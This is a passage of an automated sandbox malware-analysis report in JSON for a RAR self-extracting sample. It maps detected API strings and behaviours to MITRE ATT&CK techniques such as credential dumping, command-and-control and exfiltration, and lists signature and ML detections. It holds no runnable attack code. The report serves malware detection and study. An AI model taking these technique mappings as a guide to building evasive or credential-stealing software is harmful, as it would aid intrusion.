internet"}],"sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Command and Control","technique":"DNS","attack_id":"T1071.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/004","identifiers":[{"type":"informative","value":"Queries DNS server"}],"sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Command and Control","technique":"Symmetric Cryptography","attack_id":"T1573.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1573/001","identifiers":[{"type":"informative","value":"Shows ability to use encryption for command and control traffic"}],"sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Impact","technique":"System Shutdown/Reboot","attack_id":"T1529","attack_id_wiki":"https://attack.mitre.org/techniques/T1529","identifiers":[{"type":"informative","value":"Contains ability to reboot/shutdown the operating system (API string)"},{"type":"informative","value":"Contains ability to shutdown system"}],"sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Impact","technique":"Endpoint Denial of Service","attack_id":"T1499","attack_id_wiki":"https://attack.mitre.org/techniques/T1499","identifiers":[{"type":"informative","value":"Contains ability to lock the workstation's display (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Impact","technique":"Data Destruction","attack_id":"T1485","attack_id_wiki":"https://attack.mitre.org/techniques/T1485","identifiers":[{"type":"informative","value":"Contains ability to delete device information set (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Reconnaissance","technique":"Gather Victim Network Information","attack_id":"T1590","attack_id_wiki":"https://attack.mitre.org/techniques/T1590","identifiers":[{"type":"informative","value":"Able to access user sensitive domain"}],"sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Reconnaissance","technique":"Credentials","attack_id":"T1589.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1589/001","identifiers":[{"type":"informative","value":"Attempts to steal credentials via Security Account Manager (SAM) modules"}],"sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Persistence","technique":"Kernel Modules and Extensions","attack_id":"T1547.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/006","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Privilege Escalation","technique":"Exploitation for Privilege Escalation","attack_id":"T1068","attack_id_wiki":"https://attack.mitre.org/techniques/T1068","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Defense Evasion","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"informative","value":"Able to retrieve information set for devices (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Defense Evasion","technique":"Direct Volume Access","attack_id":"T1006","attack_id_wiki":"https://attack.mitre.org/techniques/T1006","identifiers":[{"type":"informative","value":"Attempts to read volume data via DOS device path"}],"sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Defense Evasion","technique":"Mutual Exclusion","attack_id":"T1480.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1480/002","identifiers":[{"type":"informative","value":"Creates mutants"}],"sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Defense Evasion","technique":"Clear Persistence","attack_id":"T1070.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/009","sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"XOR operations in executable file detected"},{"type":"informative","value":"Contains XOR operation loops [Stream disassembly]"}],"sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Credential Access","technique":"Steal or Forge Kerberos Tickets","attack_id":"T1558","attack_id_wiki":"https://attack.mitre.org/techniques/T1558","identifiers":[{"type":"informative","value":"Able to access credential file using Kerberos"}],"sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Discovery","technique":"Local Storage Discovery","attack_id":"T1680","attack_id_wiki":"https://attack.mitre.org/techniques/T1680","identifiers":[{"type":"informative","value":"Able to enumerate disk drives (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Discovery","technique":"Cloud Groups","attack_id":"T1069.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1069/003","identifiers":[{"type":"informative","value":"May be able to execute Exchange Online Remote PowerShell Modulee"}],"sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Discovery","technique":"Wi-Fi Discovery","attack_id":"T1016.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1016/002","identifiers":[{"type":"informative","value":"Contains Wi-Fi native api calls"}],"sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Discovery","technique":"Domain Groups","attack_id":"T1069.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1069/002","identifiers":[{"type":"informative","value":"Loads Windows LDAP client module"}],"sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Lateral Movement","technique":"RDP Hijacking","attack_id":"T1563.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1563/002","identifiers":[{"type":"informative","value":"Able to access a remote server session"}],"sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Lateral Movement","technique":"Remote Services","attack_id":"T1021","attack_id_wiki":"https://attack.mitre.org/techniques/T1021","identifiers":[{"type":"informative","value":"Calls an API typically used to register an interface (RPC)"}],"sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Collection","technique":"Data from Local System","attack_id":"T1005","attack_id_wiki":"https://attack.mitre.org/techniques/T1005","identifiers":[{"type":"suspicious","value":"Contains ability to find and load resources of a specific module"}],"sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Command and Control","technique":"Mail Protocols","attack_id":"T1071.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/003","identifiers":[{"type":"informative","value":"Found mail related domain names"}],"sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Command and Control","technique":"Internal Proxy","attack_id":"T1090.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1090/001","identifiers":[{"type":"suspicious","value":"Modifies proxy settings"}],"sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Command and Control","technique":"Domain Generation Algorithms","attack_id":"T1568.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1568/002","identifiers":[{"type":"informative","value":"High entropy domain detected"}],"sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"tactic":"Exfiltration","technique":"Exfiltration Over Unencrypted Non-C2 Protocol","attack_id":"T1048.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1048/003","identifiers":[{"type":"informative","value":"Data transmitted in plain text over an insecure network protocol/port"}],"sources":[{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]}],"sandbox_signatures":[{"level":"suspicious","category":"Pattern Matching","name":"YARA signature match – cryptographic algorithms","description":"YARA signature matched on RAR SFX file \"sample.bin\"","origin":"Static Analysis","mitre_attack_id":"T1027.013","id":"yara-155","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"malicious","category":"External Systems","name":"CrowdStrike ML for Portable Executable (On Sensor) detected file with bottom confidence","description":"\"Portable Executable (On Sensor) Model\" detected file as \"dirty\" with \"bottom\" confidence","origin":"Static Analysis","id":"mlmodel-15","sources":[{"report_type":"qsp","report_id":""}]},{"level":"malicious","category":"External Systems","name":"CrowdStrike ML for Portable Executable (Cloud) detected file with bottom confidence","description":"\"Portable Executable (Cloud) Model\" detected file as \"dirty\" with \"bottom\" confidence","origin":"Static Analysis","id":"mlmodel-19","sources":[{"report_type":"qsp","report_id":""}]},{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$27","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-101","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"General","name":"Contains PDB pathways","description":"\"D:\\Projects\\WinRAR\\sfx\\build\\sfxrar32\\Release\\sfxrar.pdb\"","origin":"sample.bin","id":"string-7","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"General","name":"Contains ability to create directories (API string)","description":"Found reference to API \"CreateDirectoryW\" (Indicator: \"CreateDirectory\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1074.001","id":"string-423","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; Source: \"sample.bin\"), Found reference to API \"CreateThread failed\" (Indicator: \"CreateThread\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-161","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"General","name":"Contains ability to execute an application (API string)","description":"Found reference to API \"ShellExecuteExW\" (Indicator: \"ShellExecute\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-240","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"General","name":"Contains ability to create/control drivers (API string)","description":"Found reference to API \"DeviceIoControl\" (Indicator: \"DeviceIoControl\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1543.003","id":"string-220","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"General","name":"Contains ability to show a graphical window (API string)","description":"Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1564.003","id":"string-208","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"General","name":"Able to retrieve/open a process (API string)","description":"Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1057","id":"string-272","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; Source: \"sample.bin\"), Found reference to API \"CreateFileMappingW\" (Indicator: \"CreateFile\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-315","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"General","name":"Contains ability to disable/close registry key (API string)","description":"Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1112","id":"string-345","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"General","name":"Contains ability to find and load resources of specific modules (API string)","description":"Found reference to API \"SizeofResource\" (Indicator: \"SizeofResource\"; Source: \"sample.bin\"), Found reference to API \"LoadResource\" (Indicator: \"LoadResource\"; Source: \"sample.bin\"), Found reference to API \"LockResource\" (Indicator: \"LockResource\"; Source: \"sample.bin\"), Found reference to API \"FindResourceW\" (Indicator: \"FindResource\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-550","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"General","name":"Contains reference to method used by Windows shell items (API string)","description":"Found reference to API \"SHFileOperationW\" (Indicator: \"SHFileOperation\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1564","id":"string-269","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"\"Software\\WinRAR SFX\" in Source: sample.bin, \"Software\\Microsoft\\Windows\\CurrentVersion\" in Source: sample.bin","origin":"sample.bin","mitre_attack_id":"T1012","id":"string-120","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"Found reference to API \"\nWaitForMultipleObjects error %d, GetLastError %d\" (Indicator: \"GetLastError\"; Source: \"sample.bin\"), Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"sample.bin\"), Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-319","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"sample.bin\"), Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1059.003","id":"string-206","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"General","name":"Contains ability to move file or directory (API string)","description":"Found reference to API \"MoveFileExW\" (Indicator: \"MoveFile\"; Source: \"sample.bin\"), Found reference to API \"MoveFileW\" (Indicator: \"MoveFile\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1570","id":"string-322","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"General","name":"Able to rename or move file/directory (API string)","description":"Found string \"MoveFileExW\" (Indicator: \"MoveFileExW\"; Source: \"sample.bin\"), Found string \"MoveFileW\" (Indicator: \"MoveFileW\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1083","id":"string-884","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"General","name":"Able to create/load registry keys (API string)","description":"Found registry modification API: \"RegCreateKeyExW\" in \"sample.bin\"","origin":"sample.bin","mitre_attack_id":"T1112","id":"string-307","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify access token privileges (API string)","description":"Found reference to API \"AdjustTokenPrivileges\" (Indicator: \"AdjustTokenPrivileges\"; Source: \"sample.bin\"), Found reference to API \"LookupPrivilegeValueW\" (Indicator: \"LookupPrivilegeValue\"; Source: \"sample.bin\"), Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1134","id":"string-77","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"Found reference to API \"DeleteFileW\" (Indicator: \"DeleteFile\"; Source: \"sample.bin\"), Found reference to API \"RemoveDirectoryW\" (Indicator: \"RemoveDirectory\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1070.004","id":"string-308","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"Found reference to API \"FreeSid\" (Indicator: \"FreeSid\"; Source: \"sample.bin\"), Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"AllocateAndInitializeSid\"; Source: \"sample.bin\"), Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"InitializeSid\"; Source: \"sample.bin\"), Found reference to API \"SetFileSecurityW\" (Indicator: \"SetFileSecurityW\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1134.001","id":"string-114","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"System Security","name":"Contains ability to use security policy setting (API string)","description":"Found reference to API \"SeCreateSymbolicLinkPrivilege\" (Indicator: \"SeCreateSymbolicLinkPrivilege\"; Source: \"sample.bin\"), Found reference to API \"SeRestorePrivilege\" (Indicator: \"SeRestorePrivilege\"; Source: \"sample.bin\"), Found reference to API \"SeSecurityPrivilege\" (Indicator: \"SeSecurityPrivilege\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1548","id":"string-97","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify file attributes (API string)","description":"Found reference to API \"SetFileAttributesW\" (Indicator: \"SetFileAttributes\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1222","id":"string-426","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"CorExitProcess\" (Indicator: \"ExitProcess\"; Source: \"sample.bin\"), Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; Source: \"sample.bin\"), Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1489","id":"string-316","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"Found reference to API \"GetFileAttributesW\" (Indicator: \"GetFileAttributes\"; Source: \"sample.bin\"), Found reference to API \"GetSystemDirectoryW\" (Indicator: \"GetSystemDirectory\"; Source: \"sample.bin\"), Found reference to API \"GetCurrentDirectoryW\" (Indicator: \"GetCurrentDirectory\"; Source: \"sample.bin\"), Found reference to API \"GetTempPathW\" (Indicator: \"GetTempPath\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1083","id":"string-207","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to query registry keys (API string)","description":"Found registry query API: \"RegQueryValueExW\" in \"sample.bin\", Found registry query API: \"RegOpenKeyExW\" in \"sample.bin\"","origin":"sample.bin","mitre_attack_id":"T1012","id":"string-229","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"sample.bin\"), Found reference to API \"GetCurrentProcessId\" (Indicator: \"GetCurrentProcess\"; Source: \"sample.bin\"), Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; Source: \"sample.bin\"), Found reference to API \"GetCurrentProcess\" (Indicator: \"GetCurrentProcess\"; Source: \"sample.bin\"), Found reference to API \"GetEnvironmentStringsW\" (Indicator: \"GetEnvironmentStrings\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1057","id":"string-85","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"sample.bin\"), Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1082","id":"string-427","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"Found reference to API \"FindFirstFileExA\" (Indicator: \"FindFirstFile\"; Source: \"sample.bin\"), Found reference to API \"FindFirstFileW\" (Indicator: \"FindFirstFile\"; Source: \"sample.bin\"), Found reference to API \"FindNextFileA\" (Indicator: \"FindNextFile\"; Source: \"sample.bin\"), Found reference to API \"FindNextFileW\" (Indicator: \"FindNextFile\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1083","id":"string-83","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-317","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve token privileges information (API string)","description":"Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1134","id":"string-437","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to capture screen (API string)","description":"Found reference to API \"CreateCompatibleBitmap\" (Indicator: \"CreateCompatibleBitmap\"; Source: \"sample.bin\"), Found reference to API \"GetDC\" (Indicator: \"GetDC\"; Source: \"sample.bin\"), Found reference to API \"CreateCompatibleDC\" (Indicator: \"CreateCompatibleDC\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1113","id":"string-78","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1497.003","id":"string-205","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"GetModuleFileNameA\" (Indicator: \"GetModuleFileName\"; Source: \"sample.bin\"), Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-164","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to read files (API string)","description":"Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1083","id":"string-534","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the specified system metric or system configuration setting (API string)","description":"Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1082","id":"string-131","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6738982f2958b66bc5052faf"},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query system locale information (API string)","description":"Found reference to API \"GetLocaleInfoW\" (Indicator: \"GetLocaleInfo\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1614","id":"string-201","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query security token membership for user discovery (API string)","description":"Found reference to API \"FreeSid\" (Indicator: \"FreeSid\"; Source: \"sample.bin\"), Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; Source: \"sample.bin\"), Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"AllocateAndInitializeSid\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1033","id":"string-908","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a898fcbe16b3652730b64a9"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"Found reference to API \"SystemTimeToFileTime\" (Indicator: \"SystemTimeToFileTime\"; Source: \"sample.bin\"), Found reference to API \"FileTimeToLocalFileTime\" (Indicator: \"FileTimeToLocalFileTime\"; Source: \"sample.bin\"), Found reference to API \"FileTimeToSystemTime\" (Indicator: \"FileTimeToSystemTime\"; Source: \"sample.bin\"), Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: 